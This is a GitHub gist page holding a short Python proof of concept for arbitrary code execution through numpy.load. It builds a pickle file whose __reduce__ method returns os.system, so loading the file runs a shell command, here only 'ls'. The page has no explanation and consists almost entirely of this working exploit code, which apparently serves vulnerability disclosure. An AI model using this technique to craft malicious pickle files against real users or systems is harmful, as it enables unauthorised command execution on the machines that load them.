Skip to content

Instantly share code, notes, and snippets.

@P3t3rp4rk3r
Created January 27, 2019 11:41
Show Gist options
  • Save P3t3rp4rk3r/eb704edbfd48c49eacfaaa7e68220070 to your computer and use it in GitHub Desktop.
Save P3t3rp4rk3r/eb704edbfd48c49eacfaaa7e68220070 to your computer and use it in GitHub Desktop.
import numpy
from numpy import __version__
print __version__
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
numpy.load('a-file.pickle')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment